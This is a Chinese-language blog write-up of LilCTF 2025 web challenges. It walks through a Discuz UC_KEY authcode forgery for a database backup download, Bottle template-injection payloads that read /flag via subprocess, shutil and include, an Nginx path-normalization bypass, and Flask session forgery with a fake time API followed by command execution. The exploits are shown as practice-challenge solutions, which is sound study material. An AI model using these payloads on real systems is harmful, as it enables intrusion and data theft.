Gentle_knife's Studio.

LilCTF 部分wp

Word count: 9.4kReading time: 46 min
2025/08/31
loading

我曾有一份工作(复现)

https://lil-house.feishu.cn/wiki/OfE7wKpVwixK6ukHkzqckV8TnmP

dirsearch 扫目录,得到 www.zip,在 www.zip 里面泄露了 UC_KEY,可以使用这个key去调用api的接口。

UC_KEY是Discuz! UCenter 的通信密钥。

接口的功能需要代码审计,不只有下面这个路由有这个功能

把 api/db/dbbak.php 丢给AI审能得到脚本

在 api/db/dbbak.php里,可以备份数据库,且备份后的路径是可访问

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
if($get['method'] == 'export') {  
// 如果传入的参数 method 等于 export,就执行导出逻辑

$db->query('SET SQL_QUOTE_SHOW_CREATE=0', 'SILENT');
// 设置 MySQL 的 SHOW CREATE TABLE 不使用反引号(让导出结果更简洁)
// 'SILENT' 表示执行失败也不会报错

$time = date("Y-m-d H:i:s", $timestamp);
// 把时间戳格式化成人类可读的时间,用于记录导出时间

$tables = array();
// 初始化表名数组

$tables = arraykeys2(fetchtablelist($tablepre), 'Name');
// 获取所有表名(fetchtablelist 按表前缀 $tablepre 获取)
// arraykeys2(..., 'Name') 提取结果中的 'Name' 字段作为表名列表

if($apptype == 'discuz') {
// 如果是 Discuz! 环境

$query = $db->query("SELECT datatables FROM {$tablepre}plugins WHERE datatables<>''");
// 查询 plugins 表,取出 datatables 字段(插件可能会自己创建数据表)

while($plugin = $db->fetch_array($query)) {
// 遍历每一个插件记录

foreach(explode(',', $plugin['datatables']) as $table) {
// 把 datatables 按逗号分隔成一个个表名

if($table = trim($table)) {
// 去掉空格,确保表名有效

$tables[] = $table;
// 把插件的表名加入到 $tables 列表里
}
}
}
}

if($apptype == 'discuzx') {
// 如果是 Discuz! X 环境(新版)

$query = $db->query("SELECT datatables FROM {$tablepre}common_plugin WHERE datatables<>''");
// 查询 common_plugin 表,Discuz!X 把插件信息放在这个表里

while($plugin = $db->fetch_array($query)) {
// 遍历每一个插件记录

foreach(explode(',', $plugin['datatables']) as $table) {
// 把 datatables 按逗号分隔成一个个表名

if($table = trim($table)) {
// 去掉空格,确保表名有效

$tables[] = $table;
// 把插件的表名加入到 $tables 列表里
}
}
}
}
}

这就是典型的“数据库备份”功能,很多 CMS、论坛系统(Discuz、PhpMyAdmin、ECShop)里都有类似逻辑。

为什么备份后的路径可访问备份文件的存放位置通常会写到网站目录下(例如 /api/db/backup/2025-08-23.sql)。如果没做权限控制,这个文件 可以通过 URL 直接下载。开发者为了方便恢复数据库,把导出文件直接放在了 Web 根目录下。并且没有做 访问控制(鉴权/随机命名/移动到非 Web 目录)。结果就是任何人都可以通过 URL 下载备份文件。

调用 export 方法即可

code参数的加解密要抄源码里的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<?php

function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;

$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);

$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);

$result = '';
$box = range(0, 255);

$rndkey = array();

for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}

for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}

for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}

if($operation == 'DECODE') {
if(((int)substr($result, 0, 10) == 0 || (int)substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) === substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
}

}

$UC_KEY = 'N8ear1n0q4s646UeZeod130eLdlbqfs1BbRd447eq866gaUdmek7v2D9r9EeS6vb';
$params = "time=".time()."&method=export";
$code = _authcode($params, 'ENCODE', $UC_KEY);

echo $code."\n";
parse_str(_authcode($code, 'DECODE', $UC_KEY), $get);
echo var_dump($get);

1
2
GET /api/db/dbbak.php?apptype=discuzx&code=908bPaTwsXdV1cbWMEpmrx1pV/0XXNWN5jc4SbhUU4E5yMtVjlp9ph11SmTtJJ9WpqmPdeBjvOs6sA
HTTP/1.1

点击网址,下载 sql 文件。

丢到赛博厨师里进行 hex 解码。

LilCTF-2025 Writeup

LILCTF web wp - fortune_h2c - 博客园

[LilCTF 2025]ez_bottle

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
from bottle import route, run, template, post, request, static_file, error
import os
import zipfile
import hashlib
import time

# hint: flag in /flag , have a try

UPLOAD_DIR = os.path.join(os.path.dirname(__file__), 'uploads')
os.makedirs(UPLOAD_DIR, exist_ok=True)

STATIC_DIR = os.path.join(os.path.dirname(__file__), 'static')
MAX_FILE_SIZE = 1 * 1024 * 1024

BLACK_DICT = ["{", "}", "os", "eval", "exec", "sock", "<", ">", "bul", "class", "?", ":", "bash", "_", "globals",
"get", "open"]


def contains_blacklist(content):
return any(black in content for black in BLACK_DICT)


def is_symlink(zipinfo):
return (zipinfo.external_attr >> 16) & 0o170000 == 0o120000


def is_safe_path(base_dir, target_path):
return os.path.realpath(target_path).startswith(os.path.realpath(base_dir))


@route('/')
def index():
return static_file('index.html', root=STATIC_DIR)


@route('/static/<filename>')
def server_static(filename):
return static_file(filename, root=STATIC_DIR)


@route('/upload')
def upload_page():
return static_file('upload.html', root=STATIC_DIR)


@post('/upload')
def upload():
zip_file = request.files.get('file')
if not zip_file or not zip_file.filename.endswith('.zip'):
return 'Invalid file. Please upload a ZIP file.'

if len(zip_file.file.read()) > MAX_FILE_SIZE:
return 'File size exceeds 1MB. Please upload a smaller ZIP file.'

zip_file.file.seek(0)

current_time = str(time.time())
unique_string = zip_file.filename + current_time
md5_hash = hashlib.md5(unique_string.encode()).hexdigest()
extract_dir = os.path.join(UPLOAD_DIR, md5_hash)
os.makedirs(extract_dir)

zip_path = os.path.join(extract_dir, 'upload.zip')
zip_file.save(zip_path)

try:
with zipfile.ZipFile(zip_path, 'r') as z:
for file_info in z.infolist():
if is_symlink(file_info):
return 'Symbolic links are not allowed.'

real_dest_path = os.path.realpath(os.path.join(extract_dir, file_info.filename))
if not is_safe_path(extract_dir, real_dest_path):
return 'Path traversal detected.'

z.extractall(extract_dir)
except zipfile.BadZipFile:
return 'Invalid ZIP file.'

files = os.listdir(extract_dir)
files.remove('upload.zip')

return template("文件列表: {{files}}\n访问: /view/{{md5}}/{{first_file}}",
files=", ".join(files), md5=md5_hash, first_file=files[0] if files else "nofile")


@route('/view/<md5>/<filename>')
def view_file(md5, filename):
file_path = os.path.join(UPLOAD_DIR, md5, filename)
if not os.path.exists(file_path):
return "File not found."

with open(file_path, 'r', encoding='utf-8') as f:
content = f.read()

if contains_blacklist(content):
return "you are hacker!!!nonono!!!"

try:
return template(content)
except Exception as e:
return f"Error rendering template: {str(e)}"


@error(404)
def error404(error):
return "bbbbbboooottle"


@error(403)
def error403(error):
return "Forbidden: You don't have permission to access this resource."


if __name__ == '__main__':
run(host='0.0.0.0', port=5000, debug=False)

1
2
3
4
UPLOAD_DIR = .../uploads  # 上传的文件存放目录
STATIC_DIR = .../static # 静态文件目录
MAX_FILE_SIZE = 1 * 1024 * 1024 # 1MB 限制
BLACK_DICT = ["{", "}", "os", "eval", "exec", "sock", "<", ">", "bul", "class", "?", ":", "bash", "_", "globals", "get", "open"]

黑名单基本杜绝了 SSTI 的可能。

检查软链接 & 路径穿越

1
2
def is_symlink(zipinfo):
return (zipinfo.external_attr >> 16) & 0o170000 == 0o120000
  • 防止 zip 文件里有软链接。
1
2
def is_safe_path(base_dir, target_path):
return os.path.realpath(target_path).startswith(os.path.realpath(base_dir))
  • 防止解压 zip 的时候用 ../ 跳出目录(路径穿越攻击)。

路由功能

/upload 上传处理(POST)

  1. 必须是 .zip 文件
  2. 文件大小不能超过 1MB
  3. zipfile.ZipFile 解压时:
    • 禁止软链接
    • 禁止路径穿越
  4. 解压到一个用 md5(文件名 + 时间) 生成的唯一目录里
  5. 返回文件列表,并提示访问路径 /view/<md5>/<filename>

/view/<md5>/<filename>

  1. 读取文件内容(纯文本)
  2. 如果命中黑名单 → 返回 “you are hacker!!!”
  3. 否则调用
1
return template(content)
- **这里的 **`**template()**`** 是 Bottle 框架的模板渲染函数**
- 如果文件内容里是模板语法(类似 `{{...}}`),它会直接执行 **SSTI**

打的过程

% x = “hello world”

x

输出 x, 忽略行尾纯变量,无法利用行尾表达式

过滤花括号和下划线,无法获取对象

一些尝试

1
2
3
4
5
6
7
8
9
10
11
underscore = chr(95) 
builtins = underscore*2 + "builtins" + underscore*2
dict = underscore*2 + "builtins" + underscore*2
fn = getattr(import_name, len)
print(fn([1,2,3,4])) # 应该输出 4

builtins = underscore*2 + "builtins" + underscore*2
dict = underscore*2 + "builtins" + underscore*2
fn = builtins.dict["len"]
print(fn([1,2,3]))

正确思路

一个页面可以上传压缩包,会把他解压放在另一个目录里,并且这个目录可知。

禁止了软链接,路径穿越和 SSTI。

如果总结成这样看,确实是做不出来。但是题目里禁止做的事情,我们一般有两个思路,一是换别的方法做,但是更多情况我们要绕过 bypass 继续用这个事情。当我们上传压缩包的时候,只要是软链接,路径穿越直接上传不上去,那就没办法了。但是我们重新看查看文件的路由:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@route('/view/<md5>/<filename>')
def view_file(md5, filename):
file_path = os.path.join(UPLOAD_DIR, md5, filename)
if not os.path.exists(file_path):
return "File not found."

with open(file_path, 'r', encoding='utf-8') as f:
content = f.read()

if contains_blacklist(content):
return "you are hacker!!!nonono!!!"

try:
return template(content)
except Exception as e:
return f"Error rendering template: {str(e)}"

这里包含了黑名单,查看到的是"you are hacker!!!nonono!!!",但是实际上他还是渲染了,只是不给你看。所以我们通过别的文件看就可以了。

bottle 框架里面%可以执行 python 代码。

也就是我们先上传一个名为 1.tpl 的文件,内容是{{! open('/flag').read()}},来获得 flag。

/upload 处理函数里:

1
2
3
4
5
current_time = str(time.time())
unique_string = zip_file.filename + current_time
md5_hash = hashlib.md5(unique_string.encode()).hexdigest()
extract_dir = os.path.join(UPLOAD_DIR, md5_hash)
os.makedirs(extract_dir)
  • UPLOAD_DIR = os.path.join(os.path.dirname(__file__), 'uploads')
    也就是说,所有上传文件都放在当前脚本目录下的 uploads/ 目录里。

文件访问逻辑

/view/<md5>/<filename> 里:

1
file_path = os.path.join(UPLOAD_DIR, md5, filename)

这就直接把 md5filename 拼接到 uploads/ 目录后面。

所以说这个题目实际上有读取路由和实际
所以访问 /view/4fb95ec572386b780e3374fe83e6352b/1.tpl 的时候,
实际读取的文件就是:

1
uploads/4fb95ec572386b780e3374fe83e6352b/1.tpl

再上传一个内容为:

1
2
% p = 'uploads/f8b86f4621b6cfbf0e2afe65c48664c9/1.tpl'
% include(p)

的文件用来读取 flag 就可以了。

bottle.zip

由于一些讨论所以加一点补充:

flag 到底是什么时候被解析的?

出题人的回答是:

第一次传了这个内容,先按代码的流程来会检测blacklist这个内容,也就是尝试解析,这里应该就是没有解析成功因为触发了black,你可以认为是没有解析,第二次include的内容,经过这个black的检测没有触发,include包含了第一次的内容,先解析了include,include再执行了第一次发包的内容,这时候已经不用检查第一次的了,就形成了绕过。

也就是:

第一次解析–>没成功

第二次先include–>跟第一次一样解析但是没有 waf–>成功

考的是二次包含

其他解法参考

2025 LilCTF Web部分wp-CSDN博客

因为没禁subprocess,也没禁 sh, 用 subprocess.run() 起一个 sh -c '命令'。所以可以:

1
2
% import subprocess;
subprocess.run(['sh','-c','cat /flag | tee static/2.txt'])

如果回显是空白,说明执行成功了,最后直接访问/static/2.txt即可得到flag。

没复现成功,直接访问 url/static/2.txt 不行,include 也不行,不知道写啥路径。

Lilctf_web_wp(部分) - 冷鸢fleurs - 博客园

zip文件内容:

1
2
% import fileinput 
% raise Exception('\n'.join(fileinput.input('/flag')))

复现成功。

直接读取flag

  1. 前缀 %

在 Jupyter 或 IPython 里,

  • % 开头的命令叫 line magic
  • %% 开头的叫 cell magic

但这里 % import fileinput 不是标准 magic,实际上是 利用某些模板引擎(比如 Mako、Bottle、Jinja2)中,把 **%** 开头的行当作 Python 语句执行
也就是说:

1
% import fileinput

相当于执行:

1
import fileinput

  1. fileinput.input('/flag')

fileinput.input() 是 Python 的一个工具,可以把文件当作输入流来逐行读取。
相当于:

1
open('/flag').readlines()

  1. raise Exception('\n'.join(...))

它把 /flag 文件的内容拼成一个字符串,抛出异常。

https://lil-house.feishu.cn/wiki/IwnswOcr8iRvHfkxYOMcJXtBnHg

出题人的链接

给了源码,代码的大致就是一个web的文件上传的功能,在前端并没有直接给上传功能,需要自己写脚本,对于上传的内容有template(content)可以解析内容,明显的漏洞点

题目对于上传的文件进行了简单的处理,比如限制文件大小,限制的目录穿越,限制了软链接,所以题目的核心就是利用模板注入绕过waf写入到文件里,进行文件上传最后解析读取文件

对于content的内容有简单的限制,比如最主要的就是把花括号进行了过滤,出题人的本意就是希望利用%进行注入内容,然后把常见的一些过滤了,但是很明显是没有过滤掉import的,所以可以通过导入来进行rce,我提供的思路是进行复制,然后再通过include读取拿到flag,主要是两个方案

方案一:

1
% import shutil;shutil.copy('/flag', './aaa')

方案二:

1
%import subprocess; subprocess.call(['cp', '/flag', './aaa'])

之后就可以include的读取了(很简单吧

1
% include("aaa")

[WARM UP] 签到!真实世界的过期问卷(复现)

腾讯问卷的设计/开发者将提示语作为问卷基本信息的一部分,在 meta 路由的响应中。按 F12 打开 DevTools 找到这个报文。

It’s not a bug. It’s a feature.

[WARM UP] 接力!TurboFlash(复现)

Nginx 会屏蔽 /secret/secret/ 后接任意路径的请求,实际上也会屏蔽 /./secret/, /SeCrEt, /%73ecret 等等你能想到的绕过方式。而 Flask 会在访问到 /secret 路由时返回 flag。

我们需要寻找不被 Nginx 认为算是 /secret,但会被 Flask 认为算是 /secret 的路径。

答案:/secret 后跟 \x85 这个字节。不是 %85,而是在 HTTP 报文中直接发出这一个字节。(你可以从 CyberChef 或 010 Editor 中复制它,或者用 socket 或 pwntools 发包。)

path-normalization-bypasses

复现

打开 010

把这些字母数字一个一个敲进去

发送

至于下面的图是怎么做到的我还不知道

Ekko_note

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
# -*- encoding: utf-8 -*-
'''
@File : app.py
@Time : 2066/07/05 19:20:29
@Author : Ekko exec inc. 某牛马程序员
'''
import os
import time
import uuid
import requests

from functools import wraps
from datetime import datetime
from secrets import token_urlsafe
from flask_sqlalchemy import SQLAlchemy
from werkzeug.security import generate_password_hash, check_password_hash
from flask import Flask, render_template, redirect, url_for, request, flash, session

SERVER_START_TIME = time.time()


# 欸我艹这两行代码测试用的忘记删了,欸算了都发布了,我们都在用力地活着,跟我的下班说去吧。
# 反正整个程序没有一个地方用到random库。应该没有什么问题。
import random
random.seed(SERVER_START_TIME)


admin_super_strong_password = token_urlsafe()
app = Flask(__name__)
app.config['SECRET_KEY'] = 'your-secret-key-here'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///site.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False

db = SQLAlchemy(app)

class User(db.Model):
id = db.Column(db.Integer, primary_key=True)
username = db.Column(db.String(20), unique=True, nullable=False)
email = db.Column(db.String(120), unique=True, nullable=False)
password = db.Column(db.String(60), nullable=False)
is_admin = db.Column(db.Boolean, default=False)
time_api = db.Column(db.String(200), default='https://api.yyy001.com/api/alltime?timezone=Asia/Shanghai')


class PasswordResetToken(db.Model):
id = db.Column(db.Integer, primary_key=True)
user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)
token = db.Column(db.String(36), unique=True, nullable=False)
used = db.Column(db.Boolean, default=False)


def padding(input_string):
byte_string = input_string.encode('utf-8')
if len(byte_string) > 6: byte_string = byte_string[:6]
padded_byte_string = byte_string.ljust(6, b'\x00')
padded_int = int.from_bytes(padded_byte_string, byteorder='big')
return padded_int

with app.app_context():
db.create_all()
if not User.query.filter_by(username='admin').first():
admin = User(
username='admin',
email='admin@example.com',
password=generate_password_hash(admin_super_strong_password),
is_admin=True
)
db.session.add(admin)
db.session.commit()

def login_required(f):
@wraps(f)
def decorated_function(*args, **kwargs):
if 'user_id' not in session:
flash('请登录', 'danger')
return redirect(url_for('login'))
return f(*args, **kwargs)
return decorated_function

def admin_required(f):
@wraps(f)
def decorated_function(*args, **kwargs):
if 'user_id' not in session:
flash('请登录', 'danger')
return redirect(url_for('login'))
user = User.query.get(session['user_id'])
if not user.is_admin:
flash('你不是admin', 'danger')
return redirect(url_for('home'))
return f(*args, **kwargs)
return decorated_function

def check_time_api():
user = User.query.get(session['user_id'])
try:
response = requests.get(user.time_api)
data = response.json()
datetime_str = data.get('data', '').get('datetime', '')
if datetime_str:
print(datetime_str)
current_time = datetime.fromisoformat(datetime_str)
return current_time.year >= 2066
except Exception as e:
return None
return None
@app.route('/')
def home():
return render_template('home.html')

@app.route('/server_info')
@login_required
def server_info():
return {
'server_start_time': SERVER_START_TIME,
'current_time': time.time()
}
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form.get('username')
email = request.form.get('email')
password = request.form.get('password')
confirm_password = request.form.get('confirm_password')

if password != confirm_password:
flash('密码错误', 'danger')
return redirect(url_for('register'))

existing_user = User.query.filter_by(username=username).first()
if existing_user:
flash('已经存在这个用户了', 'danger')
return redirect(url_for('register'))

existing_email = User.query.filter_by(email=email).first()
if existing_email:
flash('这个邮箱已经被注册了', 'danger')
return redirect(url_for('register'))

hashed_password = generate_password_hash(password)
new_user = User(username=username, email=email, password=hashed_password)
db.session.add(new_user)
db.session.commit()

flash('注册成功,请登录', 'success')
return redirect(url_for('login'))

return render_template('register.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')

user = User.query.filter_by(username=username).first()
if user and check_password_hash(user.password, password):
session['user_id'] = user.id
session['username'] = user.username
session['is_admin'] = user.is_admin
flash('登陆成功,欢迎!', 'success')
return redirect(url_for('dashboard'))
else:
flash('用户名或密码错误!', 'danger')
return redirect(url_for('login'))

return render_template('login.html')

@app.route('/logout')
@login_required
def logout():
session.clear()
flash('成功登出', 'info')
return redirect(url_for('home'))

@app.route('/dashboard')
@login_required
def dashboard():
return render_template('dashboard.html')

@app.route('/forgot_password', methods=['GET', 'POST'])
def forgot_password():
if request.method == 'POST':
email = request.form.get('email')
user = User.query.filter_by(email=email).first()
if user:
# 选哪个UUID版本好呢,好头疼 >_<
# UUID v8吧,看起来版本比较新
token = str(uuid.uuid8(a=padding(user.username))) # 可以自定义参数吗原来,那把username放进去吧
reset_token = PasswordResetToken(user_id=user.id, token=token)
db.session.add(reset_token)
db.session.commit()
# TODO:写一个SMTP服务把token发出去
flash(f'密码恢复token已经发送,请检查你的邮箱', 'info')
return redirect(url_for('reset_password'))
else:
flash('没有找到该邮箱对应的注册账户', 'danger')
return redirect(url_for('forgot_password'))

return render_template('forgot_password.html')

@app.route('/reset_password', methods=['GET', 'POST'])
def reset_password():
if request.method == 'POST':
token = request.form.get('token')
new_password = request.form.get('new_password')
confirm_password = request.form.get('confirm_password')

if new_password != confirm_password:
flash('密码不匹配', 'danger')
return redirect(url_for('reset_password'))

reset_token = PasswordResetToken.query.filter_by(token=token, used=False).first()
if reset_token:
user = User.query.get(reset_token.user_id)
user.password = generate_password_hash(new_password)
reset_token.used = True
db.session.commit()
flash('成功重置密码!请重新登录', 'success')
return redirect(url_for('login'))
else:
flash('无效或过期的token', 'danger')
return redirect(url_for('reset_password'))

return render_template('reset_password.html')

@app.route('/execute_command', methods=['GET', 'POST'])
@login_required
def execute_command():
result = check_time_api()
if result is None:
flash("API死了啦,都你害的啦。", "danger")
return redirect(url_for('dashboard'))

if not result:
flash('2066年才完工哈,你可以穿越到2066年看看', 'danger')
return redirect(url_for('dashboard'))

if request.method == 'POST':
command = request.form.get('command')
os.system(command) # 什么?你说安全?不是,都说了还没完工催什么。
return redirect(url_for('execute_command'))

return render_template('execute_command.html')

@app.route('/admin/settings', methods=['GET', 'POST'])
@admin_required
def admin_settings():
user = User.query.get(session['user_id'])

if request.method == 'POST':
new_api = request.form.get('time_api')
user.time_api = new_api
db.session.commit()
flash('成功更新API!', 'success')
return redirect(url_for('admin_settings'))

return render_template('admin_settings.html', time_api=user.time_api)

if __name__ == '__main__':
app.run(debug=False, host="0.0.0.0")

出题人讲解:LilCTF 2025 web ekko_note 讲解_哔哩哔哩_bilibili

非预期

通过SECRET_KEY绕过flask的session认证_flask-unsign-CSDN博客

在 Web 应用中,session用于存储用户的状态信息,如登录状态、用户 ID、权限等级等。这些信息会被存储在用户的浏览器端,以便在不同页面之间保持状态。

SECRET_KEY是 Flask 应用程序中的一个关键值,用于对session数据进行加密和签名,确保会话数据的完整性和安全性。

当你通过 Flask 存储数据到 session 时,Flask 会将数据序列化成 JSON 格式。例如,{"user_id": 1, "username": "admin"}

Flask 会对这个 JSON 数据进行加密,并使用 SECRET_KEY 对其进行签名。签名是用来防止数据被篡改。它使用 SECRET_KEY 和加密数据生成一个哈希值。加密后的数据和签名会组成一个完整的 session Cookie。这个 Cookie 会被发送到客户端(用户的浏览器),并在后续请求时随同一起发送回来。通常形式是:

1
session = 数据部分.签名部分
  • 比如:
1
session = eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.Yd73Rp7y1exXJ03_w8IQcwRPoxUq3_2l0Ip7eZT2vjs

其中 eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0 是数据部分(经过 Base64 编码),Yd73Rp7y1exXJ03_w8IQcwRPoxUq3_2l0Ip7eZT2vjs 是签名部分(经过 HMAC 签名)。

每次请求时,服务器会收到这个 session Cookie。Flask 会使用 SECRET_KEY 和签名部分来验证 session 数据是否有效。如果数据部分被篡改过,签名将不会匹配,从而验证失败。

而源码里面写了:

1
2
3
4
5
admin_super_strong_password = token_urlsafe()
app = Flask(__name__)
app.config['SECRET_KEY'] = 'your-secret-key-here'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///site.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False

我们知道了 SECRET_KEY,就可以伪造 session 数据。

对于flask的session,学到了

:::info
步骤1:数据序列化:将会话数据(如 {“username”: “alice”, “is_login”: True})序列化为 JSON 格式({“username”:”alice”,”is_login”:True})。

步骤2:Base64编码:将 JSON 字符串通过 Base64 编码为“数据部分”(如 eyJ1c2VybmFtZSI6ImFsaWNlIiwiaXNfbG9naW4iOnRydWV9)。

步骤3:生成HMAC签名:使用 secret_key 对“数据部分”生成 HMAC 签名(“签名部分”,如 YlZ4Vg)。

步骤4:组装Cookie:将“数据部分”与“签名部分”用 . 连接,形成完整的 Cookie 值(数据部分.签名部分)。

步骤5:返回客户端:通过响应头 Set-Cookie: session=数据部分.签名部分; … 将 Cookie 发送给客户端。

:::

1
2
3
4
5
if user and check_password_hash(user.password, password):
session['user_id'] = user.id
session['username'] = user.username
session['is_admin'] = user.is_admin
flash('登陆成功,欢迎!', 'success')

因为登录并不直接检查数据库中的用户密码,只要 session 中包含这三个字段(且签名正确),用户就可以被认为是登录状态。所以,你可以通过伪造一个合法的 session 来绕过登录认证。

poc:

1
2
3
4
5
6
7
8
9
from flask_unsign import session

SECRET_KEY = 'your-secret-key-here'
fake_session = session.sign(
{'user_id': 1, 'username': 'admin', 'is_admin': True},
SECRET_KEY
)

print(fake_session)

思路是:

/execute_command无回显执行命令->check_time_api()要 2066 年以后->/admin/settings修改时间 api->user = User.query.get(session['user_id'])要获得 admin 的 session

登录判断依赖 Flask 的 session

1
2
3
session['user_id'] = user.id
session['username'] = user.username
session['is_admin'] = user.is_admin

而源码开始给了 key,于是可以用 flask-unsign 来伪造签名:

1
2
3
app.config['SECRET_KEY'] = 'your-secret-key-here'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///site.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False

写一个脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from flask_unsign import sign

SECRET_KEY = "your-secret-key-here"

# 管理员 session
data = {
"user_id": 1,
"username": "admin",
"is_admin": True
}

cookie = sign(data, SECRET_KEY)
print("生成的 admin cookie:", cookie)
# 生成的 admin cookie: eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIiwiaXNfYWRtaW4iOnRydWV9.aKAYhQ.UDzduTaS11z_ax_ksi2r9e6mfsc

带着这个 session 进入首页

进入管理员设置,进入时间 api

1
2
3
4
5
6
{
"date": "2025-08-16 14:08:42",
"weekday": "星期六",
"timestamp": 1755324522,
"remark": "任何情况请联系QQ:3295320658 微信服务号:顺成网络"
}

改成 2066 年,放到自己的服务器上开启服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# -*- coding: utf-8 -*-
from flask import Flask, jsonify

app = Flask(__name__)

# 定义统一的返回数据
def time_data():
return jsonify({
"date": "2067-08-15 23:17:07",
"weekday": "星期五",
"timestamp": 1755271027,
"remark": "任何情况请联系QQ:3295320658 微信服务号:顺成网络"
})

# 根路径
@app.route('/')
def index():
return time_data()

# /api/alltime 路径
@app.route('/api/alltime')
def api_time():
return time_data()

if __name__ == '__main__':
# 监听所有地址,端口8000
app.run(host='0.0.0.0', port=8000)

把时间 api 改成自己 VPS 的。

/execute_command执行命令用 python 反弹 shell

收到 shell,拿到 flag。

LILCTF web wp - fortune_h2c - 博客园

遗留问题

flask_unsign和itsdangerous的库生成的session怎么不一样

通过secretkey 绕过flask的session认证 - SecPulse.COM | 安全脉搏

GitHub - pallets/itsdangerous: Safely pass trusted data to untrusted environments and back.

Baking Flask cookies with your secrets

预期

1
2
import random
random.seed(SERVER_START_TIME)

由于 random 的种子是确定的,random 是全局的,所以:

1
token = str(uuid.uuid8(a=padding(user.username))) # 可以自定义参数吗原来,那把username放进去吧

uuid8 源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def uuid8(a=None, b=None, c=None):
"""Generate a UUID from three custom blocks.

* 'a' is the first 48-bit chunk of the UUID (octets 0-5);
* 'b' is the mid 12-bit chunk (octets 6-7);
* 'c' is the last 62-bit chunk (octets 8-15).

When a value is not specified, a pseudo-random value is generated.
"""
if a is None:
import random
a = random.getrandbits(48)
if b is None:
import random
b = random.getrandbits(12)
if c is None:
import random
c = random.getrandbits(62)
int_uuid_8 = (a & 0xffff_ffff_ffff) << 80
int_uuid_8 |= (b & 0xfff) << 64
int_uuid_8 |= c & 0x3fff_ffff_ffff_ffff
# by construction, the variant and version bits are already cleared
int_uuid_8 |= _RFC_4122_VERSION_8_FLAGS
return UUID._from_int(int_uuid_8)

# 大概就是接受三个参数,如果参数没有给定,则会调用random库随机生成

这里的 token 也是可控的。

padding 是补全的函数,复制过来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import uuid
import random

import random
random.seed(1756627535.2787912)



def padding(input_string):
byte_string = input_string.encode('utf-8')
if len(byte_string) > 6: byte_string = byte_string[:6]
padded_byte_string = byte_string.ljust(6, b'\x00')
padded_int = int.from_bytes(padded_byte_string, byteorder='big')
return padded_int

a=uuid.uuid8(a=padding('admin'))
print(a)

